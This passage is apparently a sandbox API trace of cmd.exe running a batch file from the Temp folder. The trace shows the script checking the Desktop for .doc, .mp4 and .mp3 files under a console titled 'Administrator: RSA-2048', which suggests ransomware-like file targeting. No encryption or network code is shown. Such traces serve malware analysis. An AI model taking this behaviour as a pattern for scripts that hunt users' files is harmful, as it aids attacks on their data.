lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.363] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.363] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.363] SetFilePointer (in: hFile=0x74, lDistanceToMove=3805, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xedd [0037.363] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.363] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xedd [0037.363] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1750, lpOverlapped=0x0) returned 1 [0037.363] SetFilePointer (in: hFile=0x74, lDistanceToMove=3830, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xef6 [0037.363] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.doc goto doc\r\n\r\n") returned 25 [0037.363] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.363] GetFileType (hFile=0x74) returned 0x1 [0037.363] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.363] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xef6 [0037.363] GetProcessHeap () returned 0x4e0000 [0037.363] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.364] GetProcessHeap () returned 0x4e0000 [0037.364] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.364] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.364] GetProcessHeap () returned 0x4e0000 [0037.364] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.364] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.364] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.364] GetProcessHeap () returned 0x4e0000 [0037.364] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.364] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.364] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.364] GetProcessHeap () returned 0x4e0000 [0037.364] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.364] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.364] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.364] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.364] GetProcessHeap () returned 0x4e0000 [0037.364] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.364] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.364] GetProcessHeap () returned 0x4e0000 [0037.364] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.364] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.364] GetProcessHeap () returned 0x4e0000 [0037.364] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.364] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.365] _tell (_FileHandle=3) returned 3830 [0037.365] _close (_FileHandle=3) returned 0 [0037.365] GetFullPathNameW (in: lpFileName="*.doc", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", lpFilePart=0x41eea8*="*.doc") returned 0x2b [0037.365] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.365] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.365] GetLastError () returned 0x2 [0037.366] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.366] GetLastError () returned 0x6 [0037.366] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.366] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.366] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.366] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.366] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.366] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.366] SetConsoleInputExeNameW () returned 0x1 [0037.366] GetConsoleOutputCP () returned 0x1b5 [0037.366] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.366] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.367] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.367] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.367] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.367] SetFilePointer (in: hFile=0x74, lDistanceToMove=3830, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xef6 [0037.367] GetProcessHeap () returned 0x4e0000 [0037.367] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.367] GetProcessHeap () returned 0x4e0000 [0037.367] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.367] GetProcessHeap () returned 0x4e0000 [0037.367] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.367] GetProcessHeap () returned 0x4e0000 [0037.367] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.367] GetProcessHeap () returned 0x4e0000 [0037.367] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.367] GetProcessHeap () returned 0x4e0000 [0037.367] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.367] GetProcessHeap () returned 0x4e0000 [0037.367] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.367] GetProcessHeap () returned 0x4e0000 [0037.367] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.367] GetProcessHeap () returned 0x4e0000 [0037.367] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.367] GetProcessHeap () returned 0x4e0000 [0037.367] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.367] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.368] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xef6 [0037.368] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1737, lpOverlapped=0x0) returned 1 [0037.368] SetFilePointer (in: hFile=0x74, lDistanceToMove=3832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xef8 [0037.368] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.doc goto doc\r\n\r\n") returned 2 [0037.368] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.368] GetFileType (hFile=0x74) returned 0x1 [0037.368] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.368] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xef8 [0037.368] GetProcessHeap () returned 0x4e0000 [0037.368] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.368] GetProcessHeap () returned 0x4e0000 [0037.368] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.368] _tell (_FileHandle=3) returned 3832 [0037.368] _close (_FileHandle=3) returned 0 [0037.368] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.369] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.369] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.369] SetFilePointer (in: hFile=0x74, lDistanceToMove=3832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xef8 [0037.369] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.369] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xef8 [0037.369] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1735, lpOverlapped=0x0) returned 1 [0037.369] SetFilePointer (in: hFile=0x74, lDistanceToMove=3857, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf11 [0037.369] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp4 goto mp4\r\n\r\n") returned 25 [0037.369] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.369] GetFileType (hFile=0x74) returned 0x1 [0037.369] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.369] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf11 [0037.369] GetProcessHeap () returned 0x4e0000 [0037.369] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.369] GetProcessHeap () returned 0x4e0000 [0037.369] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.369] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.370] GetProcessHeap () returned 0x4e0000 [0037.370] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.370] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.370] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.370] GetProcessHeap () returned 0x4e0000 [0037.370] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.370] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.370] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.370] GetProcessHeap () returned 0x4e0000 [0037.370] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.370] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.370] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.370] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.370] GetProcessHeap () returned 0x4e0000 [0037.370] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.370] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.370] GetProcessHeap () returned 0x4e0000 [0037.370] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.370] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.370] GetProcessHeap () returned 0x4e0000 [0037.370] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.370] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.371] _tell (_FileHandle=3) returned 3857 [0037.371] _close (_FileHandle=3) returned 0 [0037.372] GetFullPathNameW (in: lpFileName="*.mp4", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", lpFilePart=0x41eea8*="*.mp4") returned 0x2b [0037.372] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.372] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.372] GetLastError () returned 0x2 [0037.372] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.372] GetLastError () returned 0x6 [0037.372] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.372] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.372] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.372] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.373] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.373] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.373] SetConsoleInputExeNameW () returned 0x1 [0037.373] GetConsoleOutputCP () returned 0x1b5 [0037.373] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.373] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.373] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.374] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.374] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.374] SetFilePointer (in: hFile=0x74, lDistanceToMove=3857, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf11 [0037.374] GetProcessHeap () returned 0x4e0000 [0037.374] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.374] GetProcessHeap () returned 0x4e0000 [0037.374] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.374] GetProcessHeap () returned 0x4e0000 [0037.374] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.374] GetProcessHeap () returned 0x4e0000 [0037.374] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.374] GetProcessHeap () returned 0x4e0000 [0037.374] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.374] GetProcessHeap () returned 0x4e0000 [0037.374] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.374] GetProcessHeap () returned 0x4e0000 [0037.374] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.374] GetProcessHeap () returned 0x4e0000 [0037.374] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.374] GetProcessHeap () returned 0x4e0000 [0037.374] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.374] GetProcessHeap () returned 0x4e0000 [0037.374] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.375] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.375] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf11 [0037.375] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x171c, lpOverlapped=0x0) returned 1 [0037.375] SetFilePointer (in: hFile=0x74, lDistanceToMove=3859, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf13 [0037.375] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp4 goto mp4\r\n\r\n") returned 2 [0037.375] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.375] GetFileType (hFile=0x74) returned 0x1 [0037.375] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.375] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf13 [0037.375] GetProcessHeap () returned 0x4e0000 [0037.375] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.375] GetProcessHeap () returned 0x4e0000 [0037.375] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.375] _tell (_FileHandle=3) returned 3859 [0037.375] _close (_FileHandle=3) returned 0 [0037.376] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.376] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.376] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.376] SetFilePointer (in: hFile=0x74, lDistanceToMove=3859, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf13 [0037.376] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.376] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf13 [0037.376] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x171a, lpOverlapped=0x0) returned 1 [0037.376] SetFilePointer (in: hFile=0x74, lDistanceToMove=3884, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf2c [0037.376] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp3 goto mp3\r\n\r\n") returned 25 [0037.377] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.377] GetFileType (hFile=0x74) returned 0x1 [0037.377] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.377] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf2c [0037.377] GetProcessHeap () returned 0x4e0000 [0037.377] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.377] GetProcessHeap () returned 0x4e0000 [0037.377] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.377] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.377] GetProcessHeap () returned 0x4e0000 [0037.377] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.377] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.377] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.377] GetProcessHeap () returned 0x4e0000 [0037.377] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.377] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.377] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.377] GetProcessHeap () returned 0x4e0000 [0037.377] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.377] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.378] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.378] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.378] GetProcessHeap () returned 0x4e0000 [0037.378] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.378] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.378] GetProcessHeap () returned 0x4e0000 [0037.378] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.378] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.378] GetProcessHeap () returned 0x4e0000 [0037.378] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.378] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.379] _tell (_FileHandle=3) returned 3884 [0037.379] _close (_FileHandle=3) returned 0 [0037.379] GetFullPathNameW (in: lpFileName="*.mp3", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", lpFilePart=0x41eea8*="*.mp3") returned 0x2b [0037.379] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.379] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0x4f4c18 [0037.379] FindClose (in: hFindFile=0x4f4c18 | out: hFindFile=0x4f4c18) returned 1 [0037.379] GetConsoleTitleW (in: lpConsoleTitle=0x41f098, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0037.380] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0037.380] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x12) returned 0x4f4c18 [0037.380] GetProcessHeap () returned 0x4e0000 [0037.380] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4c18) returned 0x12 [0037.380] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0037.380] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ede0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.380] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.380] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.380] SetFilePointer (in: hFile=0x74, lDistanceToMove=3884, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf2c [0037.380] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.380] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0037.381] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.381] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf2c [0037.381] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.381] GetFileType (hFile=0x74) returned 0x1 [0037.381] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf2c [0037.381] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.381] SetFilePointer (in: hFile=0x74, lDistanceToMove=3886, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf2e [0037.381] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np3") returned 2 